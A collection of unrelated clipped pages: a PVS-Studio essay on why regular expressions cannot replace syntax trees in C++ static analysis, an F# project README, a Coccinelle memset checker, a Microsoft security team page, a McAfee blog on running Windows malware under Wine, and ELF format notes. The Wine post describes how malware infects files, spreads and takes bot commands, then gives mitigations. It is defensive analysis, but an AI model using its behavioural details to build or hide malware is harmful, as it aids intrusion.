analyze system library functions, it will significantly reduce the speed of
analysis and cause a lot of unnecessary diagnostic messages. Thus, if we use
regular expressions, we must parse the following lines:

\#line 27 "C:\\\Program Files \(x86\)\\\Microsoft Visual Studio
8\\\VC\\\atlmfc\\\include\\\afx.h"

\#line 1008 ".\\\mytestfile.cpp"

and understand which of them refer to our program and which refer to Visual
Studio. But that's not the half of it: we must also implement relative reading
of lines inside i-files since we must generate not the absolute number of the
line with the error in the preprocessed i-file but the number of the line in
our native c/cpp-file we are analyzing.

So, we have not even started but already get a whole lot of difficulties.

Diagnosis 1

V501. There are identical sub-expressions to the left and to the right of the
'foo' operator.

In order not to overload the text, I suggest that the readers go by the link
and read the description of this error and samples. The point of this rule is
to detect constructs of this type:

[code]

    if (X > 0 && X > 0)
[/code]

At first sight, we could easily find such constructs using a regular
expression when identical expressions stand to the left and to the right of
operators &&, ||, ==, etc. For example: we search for the && operator. If
there is something looking identical in parentheses to the right and to the
left of &&, we certainly have an error. But it won't work because one could
write it this way:

[code]

    if (A == A && B)
[/code]

The error is still here but there are different expressions to the left and to
the right of '=='. It means that we must introduce the notion of precedence of
operators. Then we must cut off boundaries on lower-priority operators such as
'&&' if we have '=='; and vice versa: if it is '&&', then we must capture
operators '==' to find the error for this case on approaching the limiting
parentheses:

[code]

    if (A == 0 && A == 0)
[/code]

In the same way, we must provide for logic for all the versions of operators
with different priorities. Yes, by the way - you cannot fully rely on
parentheses too because you may encounter cases like this:

[code]

    if ( '(' == A && '(' == B )
    b = X > 0 && X > 0;
[/code]

It is very difficult to provide for all the possible ways using regular
expressions. We will have too many of them with a lot of exceptions. And still
it won't be safe since we will not be sure that all the possible constructs
have been taken into account.

Now compare this whole stuff with the elegance with which I can find this
error having a syntax tree. If I have found operators &&, ==, ||, etc., I only
have to compare the left and the right branches of the tree to each other. I
will do this in the following way:

[code]

    if (Equal(left, right))
    {
      // Error!
    }
[/code]

That is all. You don't have to think of operators' priorities, you don't have
to fear that you will encounter a bracket in this text: b = '\(' == x && x ==
'\)';. You can simply compare the left and the right tree branches.

Diagnosis 2

V502. Perhaps the '?:' operator works in a different way than it was expected.
The '?:' operator has a lower priority than the 'foo' operator.

This rule searches for confusion concerning operators' priorities \(see the
error description for details\). We must detect a text like this:

[code]

    int a;
    bool b;
    int c = a + b ? 0 : 1;
[/code]

Let's leave the question about operator's priorities aside for now: regular
expressions appear too poor when used for this purpose. But what is worse, you
must know the VARIABLE'S TYPE for this and many other rules.

You must derive the type of each variable. You must force your way through the
maze of typedef. You must look into classes to understand what
vector<int>::size\_type is. You must take scopes into consideration as well as
different using namespace std;. You must even derive the type of the X
variable from the expression: "auto X = 1 + 2;" in C++0x.

The question is how can we do all that using regular expressions? The answer
is no way. Regular expressions are perpendicular to this task. You must either
write a complicated mechanism of type derivation, i.e. create a syntactical
code analyzer, or have regular expressions without knowing types of variables
and expressions.

The conclusion is: if we use regular expressions to handle a C/C++
application, we do not know types of variables and expressions. Note this
great limitation.

Diagnosis 3

V503. This is a nonsensical comparison: pointer < 0.

This rule is very simple. Comparison of a pointer with zero using < and >
looks suspicious. For example:

[code]

    CMeshBase *pMeshBase = getCutMesh(Idx);
    if (pMeshBase < 0)
      return NULL;
[/code]

Refer to the error description to learn how we got this code.

To implement this diagnosis, we must only know the type of the pMeshBase
variable. It was explained above why it is impossible.

This diagnosis cannot be implemented relying on regular expressions.

Diagnosis 4

V504. It is highly probable that the semicolon ';' is missing after 'return'
keyword.

[code]

    void Foo();
    void Foo2(int *ptr)
    {
      if (ptr == NULL)
        return
      Foo();
      ...
    }
[/code]

We could well diagnose constructs of this type using regular expressions. But
we would have too many false alarms. We are interested only in those cases
when the function returns void. Well, we could find it out using regular
expressions either. But it will not be very clear where the function starts
and ends. Try yourself to invent a regular expression to find the function's
start. Trust me, you will like this task, especially if you understand that
one could write a stuff like this:

[code]

    int Foo()
    {
       ...
      char c[] = 
      "void MyFoo(int x) {"
      ;
      ...
    }
[/code]

If we have a complete syntax tree with diverse information, everything becomes
much simpler. You may find out the type of the returned function this way
\(the sample is taken right out of PVS-Studio\):

[code]

    SimpleType funcReturnType;
    EFunctionReturnType fType;
    if (!env->LookupFunctionReturnType(fType, funcReturnType))
      return;
    if (funcReturnType != ST_VOID)
      return;
[/code]

Diagnosis 5

V505. The 'alloca' function is used inside the loop. This can quickly overflow
stack.

Yes, we could try to implement this rule relying on regular expressions.

But I wouldn't try to find out where the loop starts and ends for one could
think up so many funny situations with curly brackets in comments and strings.

[code]

    {
      for (int i = 0; i < 10; i++)
      {
        //A cool comment. There you are { - try to solve it. :)
        char *x = "You must be careful here too {";
      }
      p = _alloca(10); // Are we inside the loop or not?
    }
[/code]

Diagnosis 6

V506. Pointer to local variable 'X' is stored outside the scope of this
variable. Such a pointer will become invalid.

We must handle variables' scope to detect these errors. We must also know
types of variables.

This diagnosis cannot be implemented relying on regular expressions.

Diagnosis 7

V507. Pointer to local array 'X' is stored outside the scope of this array.
Such a pointer will become invalid.

This diagnosis cannot be implemented relying on regular expressions.

Diagnosis 8

V508. The use of 'new type\(n\)' pattern was detected. Probably meant: 'new
type\[n\]'.

It is good to detect misprints of this kind:

[code]

    float *p = new float(10);
[/code]

Everything looks simple and it seems we could implement this diagnosis using
regular expressions if we knew the type of the object being created. No way.
Once you change the text a bit, regular expressions become useless:

[code]

    typedef float MyReal;
    ...
    MyReal *p = new MyReal(10);
[/code]

This diagnosis cannot be implemented relying on regular expressions.

Diagnosis 9

V509. The 'throw' operator inside the destructor should be placed within the
try..catch block. Raising exception inside the destructor is illegal.

Yes, we could try to make this check using regular expressions. Destructors
are usually small functions and we will hardly meet any troubles with curly
brackets there.

But you will have to sweat over regular expressions to find the destructor
function, its beginning and end and find out if it contains throw which is
caught in catch. Do you imagine the whole amount of work? Can you do a thing
like that?

Well, I can. This is how I made it in a very smart way in PVS-Studio \(the
rule is given in full\):

[code]

    void ApplyRuleG_509(VivaWalker &walker, Environment *env,
      const Ptree *srcPtree)
    {
      SimpleType returnType;
      EFunctionReturnType fType;
      bool res = env->LookupFunctionReturnType(fType, returnType);
      if (res == false || returnType != ST_UNKNOWN)
        return;
      if (fType != DESTRUCTOR)
        return;
    
      ptrdiff_t tryLevel = OmpUtil::GetLevel_TRY(env);
      if (tryLevel != -1)
        return;
      string error = VivaErrors::V509();
      walker.AddError(error, srcPtree, 509, DATE_1_SEP_2010(), Level_1);
    }
[/code]

Diagnosis 10

V510. The 'Foo' function is not expected to receive class-type variable as 'N'
actual argument.

This rule concerns passing classes of std::string type and the like as
arguments into functions of printf type. We need types. That is, this
diagnosis cannot be implemented relying on regular expressions as well.

Summary

I hope I have made the situation with regular expressions, syntax trees and
static code analysis clearer to you. Thank you for your attention. Once again
I ask you to download and try PVS-Studio. I would also appreciate if you ask
questions but I am not intending to get into debates about what regular
expressions can give us and what they cannot. It is not interesting. They do
allow us to get much, but they do not allow us to get even more. C++ can be
successfully parsed only using the grammatics mathematical apparatus.

# saxonmatt/FSharp.ServiceStack.Mono · GitHub

**Created:**| _9/9/2013 7:44:13 PM_  
---|---  
**Updated:**| _9/9/2013 7:44:13 PM_  
**Author:**| __  
**Tags:**| _web-app-sec F\# Functional_  
  

# **S** ervice Stack, with F\# on Linux - with mysql****

A solution template to quickly help get up and running with Service Stack
using F\# **.** Code is built using FAKE  and deployed to a local Ubuntu
Server  via Vagrant  \- where it runs on mono fastcgi and nginx ..**.**

Phew\!

##  'with mysql**** '

This branch of the repository uses a MySql database, which is provisioned
using the same `puppet` scripts - the deployment of the database objects is
done using the `shell` provisioner \(configured in the `VagrantFile`\)**.**
Communication with the MySql database uses standard `ADO.NET` with the FsSql
F\# wrapper - via the official MySql Connector/Net **.** Both are pulled in
via NuGet packages.

##  Instructions****

You'll need to ensure that you have Oracle Virtual Box  and Vagrant  installed
first**.** Plus obviously some **.NET** and **F\#** development
tools/libraries**.**

  1. Clone this repo, and navigate to the working directory
  2. Checkout this branch: `git checkout with_mysql`**.**
  3. Ensure that the puppet modules are brought in \(through git submodules\): `git submodule init` and then `git submodule update`**.**
  4. From a command line, run `fake build` \- this will install any dependencies using nuget and then build the service and copy it into the `www/` directory**.**
  5. From a command line, run `vagrant up` \- this will provision you a local Ubuntu Server and use the Puppet scripts to set everything up**.** Your `www/` directory is shared with the new virtual machine, which is where the application runs from**.**
  6. Navigate to `localhost:8080` in your browser to test**.**

In theory, everything will work a treat \(works on my machine, haha\)**.**

At the moment, the only way to see the additions to the database is to remote
into the vagrant machine using `vagrant ssh` and use `mysql` to go query the
database**.** Maybe I'll change the service to prove data persistance
instead**.**

##  Thanks****

  * pipe-devnull  for some help with provisioning mono fastcgi with the correct user**.**

****

# Checking memset

**Created:**| _5/7/2017 10:30:09 AM_  
---|---  
**Updated:**| _5/7/2017 10:30:09 AM_  
**Author:**| __  
**Tags:**| _sast_  
  

  

@malloced@  
---  
2 | expression x;  
3 | position p1;  
4 | identifier func =~ "\(calloc|malloc\)";  
5 | @@  
6 |   
7 | x@p1 = func\(...\)  
8 |   
9 | @memset depends on malloced exists@  
10 | expression x;  
11 | position p2;  
12 | @@  
13 |   
14 | memset\(&x, ...\)@p2  
15 |   
16 | @script:python depends on memset@  
17 | p1 << memset.p2;  
18 | @@  
19 | print "Memset on address of pointer at %s:%s." % \(p1\[0\].file, p1\[0\].line\)  
20 | import sys  
21 | sys.exit\(1\)  
  

# Microsoft Security Engineering Center

**Created:**| _6/16/2009 6:46:02 PM_  
---|---  
**Updated:**| _6/16/2009 6:46:15 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security_  
  

## What's Happening?

Look for our presentations at these up-coming conferences and stop by the SDL
booth:

  * RSA : April 20-24
  * Tech-Ed : May 11-15

## Available to Download

Download \!exploitable Crash Analyzer  
This Microsoft Windows debugging extension provides automated crash analysis
and security risk assessment.

Download the slide deck for the \!exploitable Crash Analyzer CanSecWest
presentation

* * *
## Who we are and what we do

The Microsoft Security Engineering Center helps to protect Microsoft customers
by delivering inherently more secure products and services. Our 3 teams work
together to provide personal security guidance to product teams, the industry
leading software security process \(SDL\), and applied security science and
technology that results in improved product resiliency.

<img src='img/Temp2_5366.jpg' alt='Security Assurance' />

* * *
## Security Assurance \(People\)

Working closely with the SDL and Science teams, Security Assurance helps teams
ship products that are fundamentally secure by ensuring the requirements of
the Security Development Lifecycle are met or exceeded. Security Assurance is
instrumental in driving security innovations, processes and technologies into
products throughout Microsoft. Security Assurance influences the design and
strategy of the SDL to ensure it stays relevant and can be implemented in a
practical way.

* * *
## Software Development Lifecycle \(Process\)

The Software Development Lifecycle team manages updating, releasing and
evangelizing the Microsoft Security Development Lifecycle—the industry leading
software security process. The SDL has played a critical role in embedding
security and privacy into Microsoft software and culture, leading to
measurable security and privacy improvements in flagship products such as
Microsoft Windows Vista, Microsoft Office, and SQL Server.

* * *
## Security Science \(Technology\)

The Microsoft Security Science team protects customers by improving the
security and privacy resiliency of Microsoft products through applied security
research. Specifically, Security Science develops more effective and scalable
ways to find vulnerabilities, researches and applies innovative exploit
mitigation techniques to Microsoft products, and focuses on tracking and
providing early warning of new exploits.

* * *
## Protecting Microsoft customers throughout the entire life cycle

The Microsoft Security and Engineering Center works with two other Microsoft
security centers: the Microsoft Security Response Center and the Microsoft
Malware Protection Center to help protect customers throughout the entire
software lifecycle, in development, deployment, and operations.

# TrustedSource - Blog - Running Windows Malware in Linux

**Created:**| _8/20/2009 10:46:28 AM_  
---|---  
**Updated:**| _8/20/2009 10:46:48 AM_  
**Author:**| __  
**Tags:**| _windows security Linux Malware-analysis_  
  

## Running Windows Malware in Linux

February 23th, 2009  

For the unaware, Wine is an application that enables users to run Windows
applications on Unix-like computers. Like many users, I use Wine on my Linux
machine to run a couple of Windows applications I cannot do without. I could
run these applications on a virtual machine, or even dual-boot with Windows
and Linux, but running them in Wine is just easier.

Although running Windows applications in Wine has its advantages, it also
comes at a price: bringing Windows malware into Linux. I’m aware that it isn’t
Wine’s responsibility to distinguish between a malicious and a nonmalicious
file, and that Wine shouldn’t have any problem running a malicious file;
however, I had this morbid curiosity to see how well today’s malware would
fare running on Wine, and so began an experiment using the following setup:

  * Ubuntu Linux 8.04 \[comes with Gnome desktop environment\]
  * Wine 1.0 \[run as a nonroot user with default settings\]

I decided to choose samples that displayed a cocktail of malicious behavior,
and so I chose the following:

**File Infectors**

W32/Philis is a file infector that apart from appending its code to other
executables downloads and drops other malware.

This malware ran without throwing any errors in Wine. It immediately dropped
files in the “Windows” and “Windows\System32″ folders and executed these
dropped files. It then attempted to connect to a preconfigured site, and
downloaded more malware successfully. It also began infecting executables in
the Wine directory and created a registry run key for the malicious file.

The screenshot below shows the clean “CProcess.ori,” the original file 35KB in
size, and “CProcess.vir,” the infected file 131KB in size.

<img src='img/Temp2_8469.jpg' />

It’s worth mentioning that the autostart registry key the file infector
created will not work under Wine, so applications will not be able to
autostart when the Linux machine is booted up. Also, this file infector didn’t
seem to infect ELF files. But I’m guessing that a file infector that blindly
appends/prepends its code to other files shouldn’t have any problem corrupting
ELF files.

**Autorun Malware**

W32/Autorun.Worm.CP is an autorun worm, which drops autorun.inf in the root of
removable drives.

This malware also ran without any errors. It dropped both the malicious files
and the associated autorun.inf file in the C:\ drive and attached removable
devices, and created a registry run key.

The screenshot below shows the created Autorun.inf file, along with the
malicious files that were created in the root of the removable device.

<img src='img/Temp2_8473.jpg' />

The registry run key created by the malware won’t work in Wine, however. As
long as the malicious file is running, any new removable devices connected to
the machine will get infected, thus making a Linux machine the origin of an
infection.

Although it is difficult for malware to autostart in Wine, it is not
impossible. Malware can be written to find out if it is running in Wine. It
can then either download a Linux binary onto the machine and/or simply add an
autostart entry for itself in the Linux desktop environment’s common autostart
locations, using the nonroot user’s credentials.

**IRC Trojans**

IRC/Contact malware drops files and connects to a preconfigured IRC server.
This IRC Trojan, when ran in Wine, connected to the preconfigured IRC server.
From the IRC server I was able to connect to the bot, and control it. Though
the control was limited, I was still able to list the files under the Wine
directory, get system information, download files to the Linux machine
remotely, etc.

The screen shot below shows my logging into the infected Linux machine and
issuing commands:

<img src='img/Temp2_8472.jpg' />

Click here for larger version of the image.

The screen shot below shows the infected machine responding to the “getinfo”
command issued from the IRC channel:

<img src='img/Temp2_8475.jpg' />

Click here for a larger version of the image.

This IRC Trojan was very simple in features, but I’m guessing that with a
complex one, an attacker shouldn’t have any problem scanning the subnet for an
exploit and sending a payload to infect Windows machines.

**Keyloggers/Password Stealers**

Apart from this, I tried running a couple of password stealers and keyloggers,
but I couldn’t find one that worked well. I’m guessing they couldn’t get a
hook to the keyboard.

Although stealing information using a Windows malware in Wine is difficult, an
infected Linux machine can still contribute to a DOS attack or be the origin
of an infection as suggested earlier.

**Scareware**

This class of malware displays falsely exaggerated scan reports and tricks
users into buying them. They utilize extreme social-engineering tactics
combined with obfuscated Java scripts that check for exploits on the machine.

Although I didn’t run the Scareware installer in Wine, I did browse through a
site that ran a JavaScript to pop up a window informing me that my “Windows”
machine was infected, and requested that I install the malicious file.

Screen shots below:

<img src='img/Temp2_8468.jpg' />

<img src='img/Temp2_8470.jpg' />

<img src='img/Temp2_8467.jpg' width='486' height='374' />

Click here for a larger screen shot.

It is important to note that if the user had set the file association for
Windows executables with Wine, then simply double-clicking the downloaded file
would run the malware.

**Mitigation Techniques**

  * Never run Wine applications as root.
  * Wine maps the root directory, the user’s home directory, CD ROMs and removable devices found, and these mappings are listed in “~/.wine/dosdevices/”. Consider deleting these except the link to your drive\_c.
  * Do not set the file association for Windows executables with Wine. This would enable the running of Windows executables in Wine by simply double-clicking them.
  * Administrators should think twice before installing Wine on a Linux server. These machines are seldom turned off, and so the problem that a malware faces in Wine with respect to autostarting its code when the machine boots up, I mentioned this earlier, would become void.

<img src='img/Temp2_8474.jpg' width='1' height='1' />

<img src='img/Temp2_8471.jpg' width='7' height='7' /> Back to McAfee Research
Blog overview

# Executable and Linkable Format \(ELF\)

**Created:**| _1/3/2012 4:32:07 PM_  
---|---  
**Updated:**| _1/3/2012 4:32:07 PM_  
**Author:**| __  
**Tags:**| _Linux elf linker_  
  

## Acronyms relevant to Executable and Linkable Format \(ELF\)

ABI| Application binary interface  
---|---  
a.out| Assembler output file format  
BSS| Block started by symbol. The uninitialized data segment containing
statically-allocated variables.  
COFF| Common object file format  
DTV| Dynamic thread vector \(for TLS\)  
DWARF| A standardized debugging data format  
GD| Global Dynamic \(dynamic TLS\) One of the Thread-Local Storage access
models.  
GOT| Global offset table  
IE| Initial Executable \(static TLS with assigned offsets\) One of the Thread-
Local Storage access models.  
LD| Local Dynamic \(dynamic TLS of local symbols\) One of the Thread-Local
Storage access models.  
LE| Local Executable \(static TLS\) One of the Thread-Local Storage access
models.  
Mach-O| Mach object file format  
PC| Program counter. On x86, this is the same as IP \(Instruction Pointer\)
register.  
PE| Portable executable  
PHT| Program header table  
PIC| Position independent code  
PIE| Position independent executable  
PLT| Procedure linkage table  
REL  
RELA| Relocation  
RVA| Relative virtual address  
SHF| Section header flag  
SHT| Section header table  
SO| Shared object \(another name for dynamic link library\)  
VMA| Virtual memory area/address  
## Useful books and references

ELF man page

System V Application Binary Interface

AMD64 System V Application Binary Interface

The gen on function calling conventions

Section II of Linux Standard Base 4.0 Core Specification

_Self-Service Linux: Mastering the Art of Problem Determination_ by Mark
Wilding and Dan Behman

Solaris Linker and Libraries Guide

Linkers and Loaders by John Levine

Understanding Linux ELF RTLD internals by mayhem \(this article gives you an
idea how the runtime linker `ld.so` works\)

`ld.so` man page

Prelink by Jakub Jelinek \(and prelink man page\)

## Executable and Linkable Format

An ELF executable binary contains at least two kinds of headers: ELF file
header \(see `struct Elf32_Ehdr`/`struct Elf64_Ehdr` in `/usr/include/elf.h`\)
and one or more Program Headers \(see `struct Elf32_Phdr`/`struct Elf64_Phdr`
in `/usr/include/elf.h`\)

Usually there is another kind of header called Section Header, which describe
attributes of an ELF section \(e.g. `.text`, `.data`, `.bss`, etc\) The
Section Header is described by `struct Elf32_Shdr`/`struct Elf64_Shdr` in
`/usr/include/elf.h`

The Program Headers are used during execution \(ELF's "**execution view** "\);
it tells the kernel or the runtime linker `ld.so` what to load into memory and
how to find dynamic linking information.

The Section Headers are used during compile-time linking \(ELF's "**linking
view** "\); it tells the link editor `ld` how to resolve symbols, and how to
group similar byte streams from different ELF binary objects.

Conceptually, the two ELF's "views" are as follows \(borrowed from Shaun
Clowes's _Fixing/Making Holes in Binaries_ slides\):

[code]

                  +-----------------+
             +----| ELF File Header |----+
             |    +-----------------+    |
             v                           v
     +-----------------+      +-----------------+
     | Program Headers |      | Section Headers |
     +-----------------+      +-----------------+
          ||                               ||
          ||                               ||
          ||                               ||
          ||   +------------------------+  ||
          +--> | Contents (Byte Stream) |<--+
               +------------------------+
    
[/code]

In reality, the layout of a typical ELF executable binary on a disk file is
like this:

[code]

        +-------------------------------+
        | ELF File Header               |
        +-------------------------------+
        | Program Header for segment #1 |
        +-------------------------------+
        | Program Header for segment #2 |
        +-------------------------------+
        | ...                           |
        +-------------------------------+
        | Contents (Byte Stream)        |
        | ...                           |
        +-------------------------------+
        | Section Header for section #1 |
        +-------------------------------+
        | Section Header for section #2 |
        +-------------------------------+
        | ...                           |
        +-------------------------------+
        | ".shstrtab" section           |
        +-------------------------------+
        | ".symtab"   section           |
        +-------------------------------+
        | ".strtab"   section           |
        +-------------------------------+
    
[/code]

The ELF File Header contains the file offsets of the first Program Header, the
first Section Header, and `.shstrtab` section which contains the section names
\(a series of NULL-terminated strings\)

The ELF File Header also contains the number of Program Headers and the number
of Section Headers.

Each Program Header describes a "segment": It contains the permissions
\(Readable, Writeable, or Executable\) , offset of the "segment" \(which is
just a byte stream\) into the file, and the size of the "segment". The
following table shows the purposes of special segments. Some information can
be found in GNU Binutil's source file `include/elf/common.h`:

ELF Segment| Purpose  
---|---  
`DYNAMIC`| For dynamic binaries, this segment hold dynamic linking information
and is usually the same as `.dynamic` section in ELF's linking view. See
paragraph below.  
`GNU_EH_FRAME`| Frame unwind information \(EH = Exception Handling\). This
segment is usually the same as `.eh_frame_hdr` section in ELF's linking view.  
`GNU_RELRO`| This segment indicates the memory region which should be made
Read-Only after relocation is done. This segment usually appears in a dynamic
link library and it contains `.ctors`, `.dtors`, `.dynamic`, `.got` sections.
See paragraph below.  
`GNU_STACK`| The permission flag of this segment indicates whether the stack
is executable or not. This segment does not have any content; it is just an
indicator.  
`INTERP`| For dynamic binaries, this holds the full pathname of runtime linker
`ld.so` This segement is the same as `.interp` section in ELF's linking view.  
`LOAD`| **Loadable program segment. Only segments of this type are loaded into
memory during execution.**  
` NOTE`| Auxiliary information.For core dumps, this segment contains the
status of the process \(when the core dump is created\), such as the signal
\(the process received and caused it to dump core\), pending & held signals,
process ID, parent process ID, user ID, nice value, cumulative user & system
time, values of registers \(including the program counter\!\)For more info,
see `struct elf_prstatus` and `struct elf_prpsinfo` in Linux kernel source
file `include/linux/elfcore.h` and `struct user_regs_struct` in
`arch/x86/include/asm/user_64.h`  
`TLS`| Thread-Local Storage  
Likewise, each Section Header contains the file offset of its corresponding
"content" and the size of the "content". The following table shows the
purposes of some special sections. Most information here comes from LSB
specification. Some information can be found in GNU Binutil's source file
`bfd/elf.c` \(look for `bfd_elf_special_section`\) and `bfd/elflink.c` \(look
for double-quoted section names such as `".got.plt"`\)

ELF Section| Purpose  
---|---  
`.bss`| Uninitialized global data \("Block Started by Symbol"\). Depending on
the compilers, uninitialized global variables could be stored in a nameness
section called `COMMON` \(named after Fortran 77's "common blocks".\) To wit,
consider the following code:

[code]

        int globalVar;
        static int globalStaticVar;
        void dummy() {
           static int localStaticVar;
        }
        
[/code]

Compile with `gcc -c`, then on x86\_64, the resulting object file has the
following structure:

[code]

        $ objdump -t foo.o
    
        SYMBOL TABLE:
         ....
        0000000000000000 l     O .bss   0000000000000004 globalStaticVar
        0000000000000004 l     O .bss   0000000000000004 localStaticVar.1619
         ....
        0000000000000004       O *COM*  0000000000000004 globalVar
        
[/code]

so only the file-scope and local-scope global variables are in the `.bss`
section.  If one wants `globalVar` to reside in the `.bss` section, use the
`-fno-common` compiler command-line option. Using `-fno-common` is encouraged,
as the following example shows:

[code]

        $ cat foo.c
        int globalVar;
        $ cat bar.c
        double globalVar;
        int main(){}
        $ gcc foo.c bar.c
        
[/code]

Not only there is no error message about redefinition of the same symbol in
both source files \(notice we did not use the `extern` keyword here\), there
is no complaint about their different data types and sizes either. However, if
one uses `-fno-common`, the compiler will complain:

[code]

        /tmp/ccM71JR7.o:(.bss+0x0): multiple definition of `globalVar'
        /tmp/ccIbS5MO.o:(.bss+0x0): first defined here
        ld: Warning: size of symbol `globalVar' changed from 8 in /tmp/ccIbS5MO.o to 4 in /tmp/ccM71JR7.o
        
[/code]  
`.comment`| A series of NULL-terminated strings containing compiler
information.  
`.ctors`| **Pointers** to functions which are marked as `__attribute__
((constructor))` as well as static C++ objects' constructors. They will be
used by `__libc_global_ctors` function. See paragraphs below.  
`.data`| Initialized data.  
`.data.rel.ro`| Similar to `.data` section, but this section should be made
Read-Only after relocation is done.  
`.debug_XXX`| Debugging information \(for the programs which are compiled with
`-g` option\) which is in the DWARF 2.0 format.  See here for DWARF debugging
format.  
`.dtors`| **Pointers** to functions which are marked as `__attribute__
((destructor))` as well as static C++ objects' destructors.  See paragraphs
below.  
`.dynamic`| For dynamic binaries, this section holds dynamic linking
information used by `ld.so`. See paragraphs below.  
`.dynstr`| NULL-terminated strings of names of symbols in `.dynsym` section.
One can use commands such as `readelf -p .dynstr a.out` to see these strings.  
`.dynsym`| **Runtime** /Dynamic symbol table. For dynamic binaries, this
section is the symbol table of globally visible symbols. For example, if a
dynamic link library wants to export its symbols, these symbols will be stored
here. On the other hand, if a dynamic executable binary uses symbols from a
dynamic link library, then these symbols are stored here too.  The symbol
names \(as NULL-terminated strings\) are stored in `.dynstr` section.  
`.eh_frame`  
`.eh_frame_hdr`| Frame unwind information \(EH = Exception Handling\).  See
here for details. To see the content of `.eh_frame` section, use

[code]

    readelf --debug-dump=frames-interp a.out
[/code]  
`.fini`| Code which will be executed when program exits normally. See
paragraphs below.  
`.fini_array`| **Pointers** to functions which will be executed when program
exits normally. See paragraphs below.  
`.GCC.command.line`| A series of NULL-terminated strings containing GCC
command-line \(that is used to compile the code\) options.This feature is
supported since GCC 4.5 and the program must be compiled with `-frecord-gcc-
switches` option.  
`.gnu.hash`| GNU's extension to hash table for symbols. See here for its
structure and the hash algorithm.  The link editor `ld` calls
`bfd_elf_gnu_hash` in in GNU Binutil's source file `bfd/elf.c` to compute the
hash value.  The runtime linker `ld.so` calls `do_lookup_x` in `elf/dl-
lookup.c` to do the symbol look-up. The hash computing function here is
`dl_new_hash`.  
`.gnu.linkonceXXX`| GNU's extension. It means only a single copy of the
section will be used in linking. This is used to by g++. g++ will emit each
template expansion in its own section. The symbols will be defined as weak, so
that multiple definitions are permitted.  
`.gnu.version`| Versions of symbols. See here, here, here, and here for
details of symbol versioning.  
`.gnu.version_d`| Version definitions of symbols.  
`.gnu.version_r`| Version references \(version needs\) of symbols.  
`.got`| For dynamic binaries, this Global Offset Table holds the addresses of
variables which are relocated upon loading. See paragraphs below.  
`.got.plt`| For dynamic binaries, this Global Offset Table holds the addresses
of functions in dynamic libraries. They are used by trampoline code in `.plt`
section. If `.got.plt` section is present, it contains at least three entries,
which have special meanings. See paragraphs below.  
`.hash`| Hash table for symbols. See here for its structure and the hash
algorithm.  The link editor `ld` calls `bfd_elf_hash` in in GNU Binutil's
source file `bfd/elf.c` to compute the hash value.  The runtime linker `ld.so`
calls `do_lookup_x` in `elf/dl-lookup.c` to do the symbol look-up. The hash
computing function here is `_dl_elf_hash`.  
`.init`| Code which will be executed when program initializes. See paragraphs
below.  
`.init_array`| **Pointers** to functions which will be executed when program
starts. See paragraphs below.  
`.interp`| For dynamic binaries, this holds the full pathname of runtime
linker `ld.so`  
`.jcr`| Java class registration information. Like `.ctors` section, it
contains a list of addresses which will be used by `_Jv_RegisterClasses`
function in CRT \(C Runtime\) startup files \(see `gcc/crtstuff.c` in GCC's
source tree\)  
`.note.ABI-tag`| This Linux-specific section is structured as a note section
in ELF specification. Its content is mandated here.  
`.note.gnu.build-id`| A unique build ID. See here and here  
`.note.GNU-stack`| See here  
`.nvFatBinSegment`| This segment contains information of nVidia's CUDA fat
binary container. Its format is described by `struct __cudaFatCudaBinaryRec`
in `__cudaFatFormat.h`  
`.plt`| For dynamic binaries, this Procedure Linkage Table holds the
trampoline/linkage code. See paragraphs below.  
`.preinit_array`| Similar to `.init_array` section. See paragraphs below.  
`.rela.dyn`| **Runtime** /Dynamic relocation table.  For dynamic binaries,
this relocation table holds information of variables which must be relocated
upon loading. Each entry in this table is a `struct Elf64_Rela` \(see
`/usr/include/elf.h`\) which has only three members:

  * `offset` \(the variable's \[usually position-independent\] virtual memory address which holds the "patched" value during the relocation process\) 
  * `info` \(Index into `.dynsym` section and Relocation Type\) 
  * `addend`

See paragraphs below for details about runtime relocation.  
`.rela.plt`| **Runtime** /Dynamic relocation table.  This relocation table is
similar to the one in `.rela.dyn` section; the difference is this one is for
functions, not variables. The relocation type of entries in this table is
`R_386_JMP_SLOT` or `R_X86_64_JUMP_SLOT` and the "offset" refers to memory
addresses which are inside `.got.plt` section. Simply put, this table holds
information to relocate entries in `.got.plt` section.  
`.rel.text`  
`.rela.text`| **Compile-time** /Static relocation table. For programs compiled
with `-c` option, this section provides information to the link editor `ld`
where and how to "patch" executable code in `.text` section. The difference
between `.rel.text` and `.rela.text` is entries in the former does not have
`addend` member. \(Compare `struct Elf64_Rel` with `struct Elf64_Rela` in
`/usr/include/elf.h`\) Instead, the addend is taken from the memory location
described by `offset` member.  Whether to use `.rel` or `.rela` is platform-
dependent. For x86\_32, it is `.rel` and for x86\_64, `.rela`  
`.rel.XXX`  
`.rela.XXX`| Compile-time/Static relocation table for other sections. For
example, `.rela.init_array` is the relocation table for `.init_array` section.  
`.rodata`| Read-only data.  
`.shstrtab`| NULL-terminated strings of section names. One can use commands
such as `readelf -p .shstrtab a.out` to see these strings.  
`.strtab`| NULL-terminated strings of names of symbols in `.symtab` section.
One can use commands such as `readelf -p .strtab a.out` to see these strings.  
`.symtab`| **Compile-time** /Static symbol table. This is the main symbol
table used in compile-time linking or runtime debugging.  The symbol names
\(as NULL-terminated strings\) are stored in `.strtab` section. Both `.symtab`
and `.symtab` can be stripped away by the `strip` command.  
`.tbss`| Similar to `.bss` section, but for _Thread-Local data_. See
paragraphs below.  
`.tdata`| Similar to `.data` section, but for _Thread-Local data_. See
paragraphs below.  
`.text`| User's executable code  
## How is an executable binary in Linux being executed ?

First, the operating system must recognize executable binaries. For example, `zcat /proc/config.gz | grep CONFIG_BINFMT_ELF` can show whether the Linux kernel is compiled to support ELF executable binary format \(if `/proc/config.gz` does not exist, try `/lib/modules/`uname -r`/build/.config`\) 
When the shell makes an `execvc` system call to run an executable binary, the
Linux kernel responds as follows \(see here and here for more details\) in
sequence:

  1. `sys_execve` function \(in `arch/x86/kernel/process.c`\) handles the `execvc` system call from user space. It calls `do_execve` function. 
  2. `do_execve` function \(in `fs/exec.c`\) opens the executable binary file and does some preparation. It calls `search_binary_handler` function. 
  3. `search_binary_handler` function \(in `fs/exec.c`\) finds out the type of executable binary and calls the corresponding handler, which in our case, is `load_elf_binary` function. 
  4. `load_elf_binary` \(in `fs/binfmt_elf.c`\) loads the user's executable binary file into memory. It allocates memory segments and zeros out the BSS section by calling the `padzero` function. 
`load_elf_binary` also examines whether the user's executable binary contains
an `INTERP` segment or not.

